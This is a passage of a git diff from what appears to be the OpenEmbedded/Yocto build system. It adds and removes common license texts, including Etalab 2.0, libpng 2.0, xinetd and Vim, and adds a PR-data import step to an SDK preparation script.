+Any software or documentation in source or binary form provided along with the Software that is associated with a separate license agreement is licensed to Licensee under the terms of that license agreement. This License Agreement does not apply to those portions of the Software. Copies of the third party licenses are included in the Software Distribution.
+
+7. General
+Nothing in this License Agreement affects any statutory rights of consumers that cannot be waived or limited by contract.
+
+Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between eGenix.com and Licensee.
+
+If any provision of this License Agreement shall be unlawful, void, or for any reason unenforceable, such provision shall be modified to the extent necessary to render it enforceable without losing its intent, or, if no such modification is possible, be severed from this License Agreement and shall not affect the validity and enforceability of the remaining provisions of this License Agreement.
+
+This License Agreement shall be governed by and interpreted in all respects by the law of Germany, excluding conflict of law provisions. It shall not be governed by the United Nations Convention on Contracts for International Sale of Goods. This License Agreement does not grant permission to use eGenix.com trademarks or trade names in a trademark sense to endorse or promote products or services of Licensee, or any third party.
+
+The controlling language of this License Agreement is English. If Licensee has received a translation into another language, it has been provided for Licensee's convenience only.
+
+8. Agreement
+By downloading, copying, installing or otherwise using the Software, Licensee agrees to be bound by the terms and conditions of this License Agreement. For question regarding this License Agreement, please write to:
+ eGenix.com Software, Skills and Services GmbH
+ Pastor-Loeh-Str. 48
+ D-40764 Langenfeld
+ Germany
diff --git a/meta/files/common-licenses/etalab-2.0 b/meta/files/common-licenses/etalab-2.0
new file mode 100644
index 0000000000..2ba1978351
--- /dev/null
+++ b/meta/files/common-licenses/etalab-2.0
@@ -0,0 +1,179 @@
+LICENCE OUVERTE / OPEN LICENCE
+===================================================================
+
+- Version 2.0
+- Avril 2017
+
+
+« RÉUTILISATION » DE L’« INFORMATION » SOUS CETTE LICENCE
+-------------------------------------------------------------------
+
+Le « Concédant » concède au « Réutilisateur » un droit non exclusif et gratuit
+de libre « Réutilisation » de l’« Information » objet de la présente licence,
+à des fins commerciales ou non, dans le monde entier et pour une durée
+illimitée, dans les conditions exprimées ci-dessous.
+
+Le « Réutilisateur » est libre de réutiliser l’« Information » :
+
+- de la reproduire, la copier,
+- de l’adapter, la modifier, l’extraire et la transformer, pour créer des
+« Informations dérivées », des produits ou des services,
+- de la communiquer, la diffuser, la redistribuer, la publier et la transmettre,
+- de l’exploiter à titre commercial, par exemple en la combinant avec d’autres
+informations, ou en l’incluant dans son propre produit ou application.
+
+Sous réserve de :
+
+- mentionner la paternité de l’« Information » : sa source (au moins le nom du
+« Concédant ») et la date de dernière mise à jour de l’« Information »
+réutilisée.
+
+Le « Réutilisateur » peut notamment s’acquitter de cette condition en renvoyant,
+par un lien hypertexte, vers la source de « l’Information » et assurant une
+mention effective de sa paternité.
+
+Par exemple :
+
+« Ministère de xxx - Données originales téléchargées sur
+http://www.data.gouv.fr/fr/datasets/xxx/, mise à jour du 14 février 2017 ».
+
+Cette mention de paternité ne confère aucun caractère officiel à la
+« Réutilisation » de l’« Information », et ne doit pas suggérer une quelconque
+reconnaissance ou caution par le « Concédant », ou par toute autre entité
+publique, du « Réutilisateur » ou de sa « Réutilisation ».
+
+
+« DONNÉES À CARACTÈRE PERSONNEL »
+-------------------------------------------------------------------
+
+L’« Information » mise à disposition peut contenir des « Données à caractère
+personnel » pouvant faire l’objet d’une « Réutilisation ». Si tel est le cas,
+le « Concédant » informe le « Réutilisateur » de leur présence.
+
+L’« Information » peut être librement réutilisée, dans le cadre des droits
+accordés par la présente licence, à condition de respecter le cadre légal
+relatif à la protection des données à caractère personnel.
+
+
+« DROITS DE PROPRIÉTÉ INTELLECTUELLE »
+-------------------------------------------------------------------
+
+Il est garanti au « Réutilisateur » que les éventuels « Droits de propriété
+intellectuelle » détenus par des tiers ou par le « Concédant » sur
+l’« Information » ne font pas obstacle aux droits accordés par la présente
+licence.
+
+Lorsque le « Concédant » détient des « Droits de propriété intellectuelle »
+cessibles sur l’« Information », il les cède au « Réutilisateur » de façon non
+exclusive, à titre gracieux, pour le monde entier, pour toute la durée des
+« Droits de propriété intellectuelle », et le « Réutilisateur » peut faire tout
+usage de l’« Information » conformément aux libertés et aux conditions définies
+par la présente licence.
+
+
+RESPONSABILITÉ
+-------------------------------------------------------------------
+
+L’« Information » est mise à disposition telle que produite ou reçue par le
+« Concédant », sans autre garantie expresse ou tacite que celles prévues par la
+présente licence. L’absence de défauts ou d’erreurs éventuellement contenues
+dans l’« Information », comme la fourniture continue de l’« Information » n’est
+pas garantie par le « Concédant ». Il ne peut être tenu pour responsable de
+toute perte, préjudice ou dommage de quelque sorte causé à des tiers du fait de
+la « Réutilisation ».
+
+Le « Réutilisateur » est seul responsable de la « Réutilisation » de
+l’« Information ».
+
+La « Réutilisation » ne doit pas induire en erreur des tiers quant au contenu
+de l’« Information », sa source et sa date de mise à jour.
+
+
+DROIT APPLICABLE
+-------------------------------------------------------------------
+
+La présente licence est régie par le droit français.
+
+
+COMPATIBILITÉ DE LA PRÉSENTE LICENCE
+-------------------------------------------------------------------
+
+La présente licence a été conçue pour être compatible avec toute licence libre
+qui exige au moins la mention de paternité et notamment avec la version
+antérieure de la présente licence ainsi qu’avec les licences :
+
+- « Open Government Licence » (OGL) du Royaume-Uni,
+- « Creative Commons Attribution » (CC-BY) de Creative Commons et
+- « Open Data Commons Attribution » (ODC-BY) de l’Open Knowledge Foundation.
+
+
+DÉFINITIONS
+-------------------------------------------------------------------
+
+Sont considérés, au sens de la présente licence comme :
+
+Le « Concédant » : toute personne concédant un droit de « Réutilisation » sur
+l’« Information » dans les libertés et les conditions prévues par la présente
+licence
+
+L’« Information » :
+
+- toute information publique figurant dans des documents communiqués ou publiés
+par une administration mentionnée au premier alinéa de l’article L.300-2 du
+CRPA;
+- toute information mise à disposition par toute personne selon les termes et
+conditions de la présente licence.
+
+La « Réutilisation » : l’utilisation de l’« Information » à d’autres fins que
+celles pour lesquelles elle a été produite ou reçue.
+
+Le « Réutilisateur »: toute personne qui réutilise les « Informations »
+conformément aux conditions de la présente licence.
+
+Des « Données à caractère personnel » : toute information se rapportant à une
+personne physique identifiée ou identifiable, pouvant être identifiée
+directement ou indirectement. Leur « Réutilisation » est subordonnée au respect
+du cadre juridique en vigueur.
+
+Une « Information dérivée » : toute nouvelle donnée ou information créées
+directement à partir de l’« Information » ou à partir d’une combinaison de
+l’« Information » et d’autres données ou informations non soumises à cette
+licence.
+
+Les « Droits de propriété intellectuelle » : tous droits identifiés comme tels
+par le Code de la propriété intellectuelle (notamment le droit d’auteur, droits
+voisins au droit d’auteur, droit sui generis des producteurs de bases de
+données…).
+
+
+À PROPOS DE CETTE LICENCE
+-------------------------------------------------------------------
+
+La présente licence a vocation à être utilisée par les administrations pour la
+réutilisation de leurs informations publiques. Elle peut également être
+utilisée par toute personne souhaitant mettre à disposition de
+l’« Information » dans les conditions définies par la présente licence.
+
+La France est dotée d’un cadre juridique global visant à une diffusion
+spontanée par les administrations de leurs informations publiques afin d’en
+permettre la plus large réutilisation.
+
+Le droit de la « Réutilisation » de l’« Information » des administrations est
+régi par le code des relations entre le public et l’administration (CRPA).
+
+Cette licence facilite la réutilisation libre et gratuite des informations
+publiques et figure parmi les licences qui peuvent être utilisées par
+l’administration en vertu du décret pris en application de l’article L.323-2
+du CRPA.
+
+Etalab est la mission chargée, sous l’autorité du Premier ministre, d’ouvrir le
+plus grand nombre de données publiques des administrations de l’Etat et de ses
+établissements publics. Elle a réalisé la Licence Ouverte pour faciliter la
+réutilisation libre et gratuite de ces informations publiques, telles que
+définies par l’article L321-1 du CRPA.
+
+Cette licence est la version 2.0 de la Licence Ouverte.
+
+Etalab se réserve la faculté de proposer de nouvelles versions de la Licence
+Ouverte. Cependant, les « Réutilisateurs » pourront continuer à réutiliser les
+informations qu’ils ont obtenues sous cette licence s’ils le souhaitent.
diff --git a/meta/files/common-licenses/gnuplot b/meta/files/common-licenses/gnuplot
new file mode 100644
index 0000000000..10bfbd4241
--- /dev/null
+++ b/meta/files/common-licenses/gnuplot
@@ -0,0 +1,14 @@
+Copyright 1986 - 1993, 1998, 2004 Thomas Williams, Colin Kelley
+
+Permission to use, copy, and distribute this software and its documentation for any purpose with or without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation.
+
+Permission to modify the software is granted, but not the right to distribute the complete modified source code. Modifications are to be distributed as patches to the released version. Permission to distribute binaries produced by compiling modified sources is granted, provided you
+
+ 1. distribute the corresponding source modifications from the released version in the form of a patch file along with the binaries,
+ 2. add special version identification to distinguish your version in addition to the base release version number,
+ 3. provide your name and address as the primary contact for the support of your modified version, and
+ 4. retain our contact information in regard to use of the base software.
+
+Permission to distribute the released version of the source code along with corresponding source modifications in the form of a patch file is granted with same provisions 2 through 4 for binary distributions.
+
+This software is provided "as is" without express or implied warranty to the extent permitted by applicable law.
diff --git a/meta/files/common-licenses/iMatix b/meta/files/common-licenses/iMatix
new file mode 100644
index 0000000000..7689d97b3b
--- /dev/null
+++ b/meta/files/common-licenses/iMatix
@@ -0,0 +1,39 @@
+The SFL License Agreement
+
+This license agreement covers your use of the iMatix STANDARD FUNCTION LIBRARY (SFL), its source code, documentation, and executable files, hereinafter referred to as "the Product".
+
+The Product is Copyright (c) 1991-2000 iMatix Corporation. You may use it and distribute it according to this following License Agreement. If you do not agree with these terms, please remove the Product from your system. By incorporating the Product in your work or distributing the Product to others you implicitly agree to these license terms.
+
+Statement Of Copyright
+
+The Product is, and remains, Copyright © 1991-2000 iMatix Corporation, with exception of specific copyrights as noted in the individual source files.
+
+Conditions Of Use
+
+You do not need to provide the source code for the Product as part of your product. However, you must do one of these things to comply with the Product License Agreement:
+
+ 1. Provide the source code for Product modules that you use, or
+ 2. Make your product freely available according to a license similar to the GNU General Public License, or the Perl Artistic License, or
+ 3. Add this phrase to the documentation for your product: "This product uses parts of the iMatix SFL, Copyright © 1991-2000 iMatix Corporation <http://www.imatix.com>".
+
+Rights Of Usage
+
+You may freely and at no cost use the Product in any project, commercial, academic, military, or private, so long as you respect the License Agreement. The License Agreement does not affect any software except the Product. In particular, any application that uses the Product does not itself fall under the License Agreement.
+
+You may modify any part of the Product, including sources and documentation, except this License Agreement, which you may not modify.
+
+You must clearly indicate any modifications at the start of each source file. The user of any modified Product code must know that the source file is not original.
+
+At your discretion, you may rewrite or reuse any part of the Product so that your derived code is not obviously part of the Product. This derived code does not fall under the Product License Agreement directly, but you must include a credit at the start of each source file indicating the original authorship and source of the code, and a statement of copyright as follows:"Parts copyright (c) 1991-2000 iMatix Corporation."
+
+Rights Of Distribution
+
+You may freely distribute the Product, or any subset of the Product, by any means. The License, in the form of the file called "LICENSE.TXT" must accompany any such distribution.
+
+You may charge a fee for distributing the Product, for providing a warranty on the Product, for making modifications to the Product, or for any other service provided in relation to the Product. You are not required to ask our permission for any of these activities.
+
+At no time will iMatix associate itself with any distribution of the Product except that supplied from the Internet site http://www.imatix.com.
+
+Disclaimer Of Warranty
+
+The Product is provided as free software, in the hope that it will be useful. It is provided "as-is", without warranty of any kind, either expressed or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The entire risk as to the quality and performance of the Product is with you. Should the Product prove defective, the full cost of repair, servicing, or correction lies with you.
diff --git a/meta/files/common-licenses/libpng-2.0 b/meta/files/common-licenses/libpng-2.0
new file mode 100644
index 0000000000..1cc8b0deb3
--- /dev/null
+++ b/meta/files/common-licenses/libpng-2.0
@@ -0,0 +1,33 @@
+PNG Reference Library License version 2
+---------------------------------------
+
+ * Copyright (c) 1995-2018 The PNG Reference Library Authors.
+ * Copyright (c) 2018 Cosmin Truta.
+ * Copyright (c) 2000-2002, 2004, 2006-2018 Glenn Randers-Pehrson.
+ * Copyright (c) 1996-1997 Andreas Dilger.
+ * Copyright (c) 1995-1996 Guy Eric Schalnat, Group 42, Inc.
+
+The software is supplied "as is", without warranty of any kind,
+express or implied, including, without limitation, the warranties
+of merchantability, fitness for a particular purpose, title, and
+non-infringement. In no even shall the Copyright owners, or
+anyone distributing the software, be liable for any damages or
+other liability, whether in contract, tort or otherwise, arising
+from, out of, or in connection with the software, or the use or
+other dealings in the software, even if advised of the possibility
+of such damage.
+
+Permission is hereby granted to use, copy, modify, and distribute
+this software, or portions hereof, for any purpose, without fee,
+subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you
+ must not claim that you wrote the original software. If you
+ use this software in a product, an acknowledgment in the product
+ documentation would be appreciated, but is not required.
+
+ 2. Altered source versions must be plainly marked as such, and must
+ not be misrepresented as being the original software.
+
+ 3. This Copyright notice may not be removed or altered from any
+ source or altered source distribution.
diff --git a/meta/files/common-licenses/libselinux-1.0 b/meta/files/common-licenses/libselinux-1.0
new file mode 100644
index 0000000000..d386268911
--- /dev/null
+++ b/meta/files/common-licenses/libselinux-1.0
@@ -0,0 +1,21 @@
+This library (libselinux) is public domain software, i.e. not copyrighted.
+
+Warranty Exclusion
+------------------
+You agree that this software is a
+non-commercially developed program that may contain "bugs" (as that
+term is used in the industry) and that it may not function as intended.
+The software is licensed "as is". NSA makes no, and hereby expressly
+disclaims all, warranties, express, implied, statutory, or otherwise
+with respect to the software, including noninfringement and the implied
+warranties of merchantability and fitness for a particular purpose.
+
+Limitation of Liability
+-----------------------
+In no event will NSA be liable for any damages, including loss of data,
+lost profits, cost of cover, or other special, incidental,
+consequential, direct or indirect damages arising from the software or
+the use thereof, however caused and on any theory of liability. This
+limitation will apply even if NSA has been advised of the possibility
+of such damage. You acknowledge that this is a reasonable allocation of
+risk.
diff --git a/meta/files/common-licenses/libtiff b/meta/files/common-licenses/libtiff
new file mode 100644
index 0000000000..b11996b671
--- /dev/null
+++ b/meta/files/common-licenses/libtiff
@@ -0,0 +1,8 @@
+Copyright (c) 1988-1997 Sam Leffler
+Copyright (c) 1991-1997 Silicon Graphics, Inc.
+
+Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that (i) the above copyright notices and this permission notice appear in all copies of the software and related documentation, and (ii) the names of Sam Leffler and Silicon Graphics may not be used in any advertising or publicity relating to the software without the specific, prior written permission of Sam Leffler and Silicon Graphics.
+
+THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/mpich2 b/meta/files/common-licenses/mpich2
new file mode 100644
index 0000000000..5c32b0ec1d
--- /dev/null
+++ b/meta/files/common-licenses/mpich2
@@ -0,0 +1,18 @@
+COPYRIGHT
+
+The following is a notice of limited availability of the code, and disclaimer which must be included in the prologue of the code and in all source listings of the code.
+
+Copyright Notice
++ 2002 University of Chicago
+
+Permission is hereby granted to use, reproduce, prepare derivative works, and to redistribute to others. This software was authored by:
+
+Argonne National Laboratory Group W. Gropp: (630) 252-4318; FAX: (630) 252-5986; e-mail: gropp@mcs.anl.gov E. Lusk: (630) 252-7852; FAX: (630) 252-5986; e-mail: lusk@mcs.anl.gov Mathematics and Computer Science Division Argonne National Laboratory, Argonne IL 60439
+
+GOVERNMENT LICENSE
+
+Portions of this material resulted from work developed under a U.S. Government Contract and are subject to the following license: the Government is granted for itself and others acting on its behalf a paid-up, nonexclusive, irrevocable worldwide license in this computer software to reproduce, prepare derivative works, and perform publicly and display publicly.
+
+DISCLAIMER
+
+This computer code material was prepared, in part, as an account of work sponsored by an agency of the United States Government. Neither the United States, nor the University of Chicago, nor any of their employees, makes any warranty express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights.
diff --git a/meta/files/common-licenses/psfrag b/meta/files/common-licenses/psfrag
new file mode 100644
index 0000000000..c5c3a77737
--- /dev/null
+++ b/meta/files/common-licenses/psfrag
@@ -0,0 +1,5 @@
+psfrag.dtx
+Copyright (C) 1996 Craig Barratt, Michael C. Grant, and David Carlisle.
+All rights are reserved.
+
+This system is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Don't come complaining to us if you modify this file and it doesn't work! If this file is modified by anyone but the authors, those changes and their authors must be explicitly stated HERE.
diff --git a/meta/files/common-licenses/psutils b/meta/files/common-licenses/psutils
new file mode 100644
index 0000000000..a420741853
--- /dev/null
+++ b/meta/files/common-licenses/psutils
@@ -0,0 +1,29 @@
+PS Utilities Package
+
+The constituent files of this package listed below are copyright (C) 1991-1995 Angus J. C. Duggan.
+
+LICENSE Makefile.msc Makefile.nt Makefile.os2
+Makefile.unix README config.h descrip.mms
+epsffit.c epsffit.man extractres.man extractres.pl
+fixdlsrps.man fixdlsrps.pl fixfmps.man fixfmps.pl
+fixmacps.man fixmacps.pl fixpsditps.man fixpsditps.pl
+fixpspps.man fixpspps.pl fixscribeps.man fixscribeps.pl
+fixtpps.man fixtpps.pl fixwfwps.man fixwfwps.pl
+fixwpps.man fixwpps.pl fixwwps.man fixwwps.pl
+getafm getafm.man includeres.man includeres.pl
+maketext patchlev.h psbook.c psbook.man
+pserror.c pserror.h psmerge.man psmerge.pl
+psnup.c psnup.man psresize.c psresize.man
+psselect.c psselect.man psspec.c psspec.h
+pstops.c pstops.man psutil.c psutil.h
+showchar
+
+They may be copied and used for any purpose (including distribution as part of a for-profit product), provided:
+
+1) The original attribution of the programs is clearly displayed in the product and/or documentation, even if the programs are modified and/or renamed as part of the product.
+
+2) The original source code of the programs is provided free of charge (except for reasonable distribution costs). For a definition of reasonable distribution costs, see the Gnu General Public License or Larry Wall's Artistic License (provided with the Perl 4 kit). The GPL and Artistic License in NO WAY affect this license; they are merely used as examples of the spirit in which it is intended.
+
+3) These programs are provided "as-is". No warranty or guarantee of their fitness for any particular task is provided. Use of these programs is completely at your own risk.
+
+Basically, I don't mind how you use the programs so long as you acknowledge the author, and give people the originals if they want them.
diff --git a/meta/files/common-licenses/tcl b/meta/files/common-licenses/tcl
deleted file mode 100644
index d8049cd9e7..0000000000
--- a/meta/files/common-licenses/tcl
+++ /dev/null
@@ -1,40 +0,0 @@
-This software is copyrighted by the Regents of the University of
-California, Sun Microsystems, Inc., Scriptics Corporation, ActiveState
-Corporation and other parties. The following terms apply to all files
-associated with the software unless explicitly disclaimed in
-individual files.
-
-The authors hereby grant permission to use, copy, modify, distribute,
-and license this software and its documentation for any purpose, provided
-that existing copyright notices are retained in all copies and that this
-notice is included verbatim in any distributions. No written agreement,
-license, or royalty fee is required for any of the authorized uses.
-Modifications to this software may be copyrighted by their authors
-and need not follow the licensing terms described here, provided that
-the new terms are clearly indicated on the first page of each file where
-they apply.
-
-IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
-FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
-ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
-DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGE.
-
-THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
-INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
-IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
-NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
-MODIFICATIONS.
-
-GOVERNMENT USE: If you are acquiring this software on behalf of the
-U.S. government, the Government shall have only "Restricted Rights"
-in the software and related documentation as defined in the Federal
-Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you
-are acquiring the software on behalf of the Department of Defense, the
-software shall be classified as "Commercial Computer Software" and the
-Government shall have only "Restricted Rights" as defined in Clause
-252.227-7014 (b) (3) of DFARs. Notwithstanding the foregoing, the
-authors grant the U.S. Government and others acting in its behalf
-permission to use and distribute the software in accordance with the
-terms specified in this license.
diff --git a/meta/files/common-licenses/vim b/meta/files/common-licenses/vim
deleted file mode 100644
index 4aa818eb24..0000000000
--- a/meta/files/common-licenses/vim
+++ /dev/null
@@ -1,81 +0,0 @@
-VIM LICENSE
-
-I) There are no restrictions on distributing unmodified copies of Vim except
- that they must include this license text. You can also distribute
- unmodified parts of Vim, likewise unrestricted except that they must
- include this license text. You are also allowed to include executables
- that you made from the unmodified Vim sources, plus your own usage
- examples and Vim scripts.
-
-II) It is allowed to distribute a modified (or extended) version of Vim,
- including executables and/or source code, when the following four
- conditions are met:
- 1) This license text must be included unmodified.
- 2) The modified Vim must be distributed in one of the following five ways:
- a) If you make changes to Vim yourself, you must clearly describe in
- the distribution how to contact you. When the maintainer asks you
- (in any way) for a copy of the modified Vim you distributed, you
- must make your changes, including source code, available to the
- maintainer without fee. The maintainer reserves the right to
- include your changes in the official version of Vim. What the
- maintainer will do with your changes and under what license they
- will be distributed is negotiable. If there has been no negotiation
- then this license, or a later version, also applies to your changes.
- The current maintainer is Bram Moolenaar <Bram@vim.org>. If this
- changes it will be announced in appropriate places (most likely
- vim.sf.net, www.vim.org and/or comp.editors). When it is completely
- impossible to contact the maintainer, the obligation to send him
- your changes ceases. Once the maintainer has confirmed that he has
- received your changes they will not have to be sent again.
- b) If you have received a modified Vim that was distributed as
- mentioned under a) you are allowed to further distribute it
- unmodified, as mentioned at I). If you make additional changes the
- text under a) applies to those changes.
- c) Provide all the changes, including source code, with every copy of
- the modified Vim you distribute. This may be done in the form of a
- context diff. You can choose what license to use for new code you
- add. The changes and their license must not restrict others from
- making their own changes to the official version of Vim.
- d) When you have a modified Vim which includes changes as mentioned
- under c), you can distribute it without the source code for the
- changes if the following three conditions are met:
- - The license that applies to the changes permits you to distribute
- the changes to the Vim maintainer without fee or restriction, and
- permits the Vim maintainer to include the changes in the official
- version of Vim without fee or restriction.
- - You keep the changes for at least three years after last
- distributing the corresponding modified Vim. When the maintainer
- or someone who you distributed the modified Vim to asks you (in
- any way) for the changes within this period, you must make them
- available to him.
- - You clearly describe in the distribution how to contact you. This
- contact information must remain valid for at least three years
- after last distributing the corresponding modified Vim, or as long
- as possible.
- e) When the GNU General Public License (GPL) applies to the changes,
- you can distribute the modified Vim under the GNU GPL version 2 or
- any later version.
- 3) A message must be added, at least in the output of the ":version"
- command and in the intro screen, such that the user of the modified Vim
- is able to see that it was modified. When distributing as mentioned
- under 2)e) adding the message is only required for as far as this does
- not conflict with the license used for the changes.
- 4) The contact information as required under 2)a) and 2)d) must not be
- removed or changed, except that the person himself can make
- corrections.
-
-III) If you distribute a modified version of Vim, you are encouraged to use
- the Vim license for your changes and make them available to the
- maintainer, including the source code. The preferred way to do this is
- by e-mail or by uploading the files to a server and e-mailing the URL.
- If the number of changes is small (e.g., a modified Makefile) e-mailing a
- context diff will do. The e-mail address to be used is
- <maintainer@vim.org>
-
-IV) It is not allowed to remove this license from the distribution of the Vim
- sources, parts of it or from a modified version. You may use this
- license for previous Vim releases instead of the license that they came
- with, at your option.
-
-===
-Read more about this license at http://vimdoc.sourceforge.net/htmldoc/uganda.html#license
diff --git a/meta/files/common-licenses/xinetd b/meta/files/common-licenses/xinetd
new file mode 100644
index 0000000000..684e13ba35
--- /dev/null
+++ b/meta/files/common-licenses/xinetd
@@ -0,0 +1,25 @@
+ORIGINAL LICENSE: This software is
+
+(c) Copyright 1992 by Panagiotis Tsirigotis
+
+The author (Panagiotis Tsirigotis) grants permission to use, copy, and distribute this software and its documentation for any purpose and without fee, provided that the above copyright notice extant in files in this distribution is not removed from files included in any redistribution and that this copyright notice is also included in any redistribution.
+
+Modifications to this software may be distributed, either by distributing the modified software or by distributing patches to the original software, under the following additional terms:
+
+1. The version number will be modified as follows:
+ a. The first 3 components of the version number (i.e <number>.<number>.<number>) will remain unchanged.
+ b. A new component will be appended to the version number to indicate the modification level. The form of this component is up to the author of the modifications.
+
+2. The author of the modifications will include his/her name by appending it along with the new version number to this file and will be responsible for any wrong behavior of the modified software.
+
+The author makes no representations about the suitability of this software for any purpose. It is provided "as is" without any express or implied warranty.
+
+Modifications: Version: 2.1.8.7-current Copyright 1998-2001 by Rob Braun
+
+Sensor Addition Version: 2.1.8.9pre14a Copyright 2001 by Steve Grubb
+
+This is an exerpt from an email I recieved from the original author, allowing xinetd as maintained by me (Rob Braun), to use the higher version numbers:
+
+I appreciate your maintaining the version string guidelines as specified in the copyright. But I did not mean them to last as long as they did.
+
+So, if you want, you may use any 2.N.* (N >= 3) version string for future xinetd versions that you release. Note that I am excluding the 2.2.* line; using that would only create confusion. Naming the next release 2.3.0 would put to rest the confusion about 2.2.1 and 2.1.8.*.
diff --git a/meta/files/common-licenses/xpp b/meta/files/common-licenses/xpp
new file mode 100644
index 0000000000..c36660a729
--- /dev/null
+++ b/meta/files/common-licenses/xpp
@@ -0,0 +1,21 @@
+LICENSE FOR THE Extreme! Lab PullParser
+
+Copyright (c) 2002 The Trustees of Indiana University. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1) All redistributions of source code must retain the above copyright notice, the list of authors in the original source code, this list of conditions and the disclaimer listed in this license;
+
+2) All redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer listed in this license in the documentation and/or other materials provided with the distribution;
+
+3) Any documentation included with all redistributions must include the following acknowledgement:
+
+ "This product includes software developed by the Indiana University Extreme! Lab. For further information please visit http://www.extreme.indiana.edu/"
+
+Alternatively, this acknowledgment may appear in the software itself, and wherever such third-party acknowledgments normally appear.
+
+4) The name "Indiana Univeristy" and "Indiana Univeristy Extreme! Lab" shall not be used to endorse or promote products derived from this software without prior written permission from Indiana University. For written permission, please contact http://www.extreme.indiana.edu/.
+
+5) Products derived from this software may not use "Indiana Univeristy" name nor may "Indiana Univeristy" appear in their name, without prior written permission of the Indiana University. Indiana University provides no reassurances that the source code provided does not infringe the patent or any other intellectual property rights of any other entity. Indiana University disclaims any liability to any recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise.
+
+LICENSEE UNDERSTANDS THAT SOFTWARE IS PROVIDED "AS IS" FOR WHICH NO WARRANTIES AS TO CAPABILITIES OR ACCURACY ARE MADE. INDIANA UNIVERSITY GIVES NO WARRANTIES AND MAKES NO REPRESENTATION THAT SOFTWARE IS FREE OF INFRINGEMENT OF THIRD PARTY PATENT, COPYRIGHT, OR OTHER PROPRIETARY RIGHTS. INDIANA UNIVERSITY MAKES NO WARRANTIES THAT SOFTWARE IS FREE FROM "BUGS", "VIRUSES", "TROJAN HORSES", "TRAP DOORS", "WORMS", OR OTHER HARMFUL CODE. LICENSEE ASSUMES THE ENTIRE RISK AS TO THE PERFORMANCE OF SOFTWARE AND/OR ASSOCIATED MATERIALS, AND TO THE PERFORMANCE AND VALIDITY OF INFORMATION GENERATED USING SOFTWARE.
diff --git a/meta/files/common-licenses/zlib-acknowledgement b/meta/files/common-licenses/zlib-acknowledgement
new file mode 100644
index 0000000000..cf95431f24
--- /dev/null
+++ b/meta/files/common-licenses/zlib-acknowledgement
@@ -0,0 +1,15 @@
+Copyright (c) 2002-2007 Charlie Poole
+Copyright (c) 2002-2004 James W. Newkirk, Michael C. Two, Alexei A. Vorontsov
+Copyright (c) 2000-2002 Philip A. Craig
+
+This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment (see the following) in the product documentation is required.
+
+ Portions Copyright (c) 2002-2007 Charlie Poole or Copyright (c) 2002-2004 James W. Newkirk, Michael C. Two, Alexei A. Vorontsov or Copyright (c) 2000-2002 Philip A. Craig
+
+2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+3. This notice may not be removed or altered from any source distribution.
diff --git a/meta/files/ext-sdk-prepare.py b/meta/files/ext-sdk-prepare.py
index 163d5e9912..89b0403089 100644
--- a/meta/files/ext-sdk-prepare.py
+++ b/meta/files/ext-sdk-prepare.py
@@ -44,6 +44,23 @@ def main():
sdk_targets = []
else:
sdk_targets = ' '.join(sys.argv[2:]).split()
+
+ prserv = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'conf', 'prserv.inc')
+ if os.path.isfile(prserv):
+ with open(logfile, 'a') as logf:
+ logf.write('Importing PR data...\n')
+
+ ret = run_command_interruptible('bitbake-prserv-tool import %s' % prserv)
+
+ lastlog = get_last_consolelog()
+ if lastlog:
+ with open(lastlog, 'r') as f:
+ for line in f:
+ logf.write(line)
+ if ret:
+ print('ERROR: PR data import failed: error log written to %s' % logfile)
+ return ret
+
if not sdk_targets:
# Just do a parse so the cache is primed
ret = run_command_interruptible('bitbake -p --quiet')
@@ -54,7 +71,7 @@ def main():
ret = run_command_interruptible('BB_SETSCENE_ENFORCE=1 bitbake --quiet %s' % ' '.join(sdk_targets))
if not ret:
- ret = run_command_interruptible('bitbake --quiet build-sysroots')
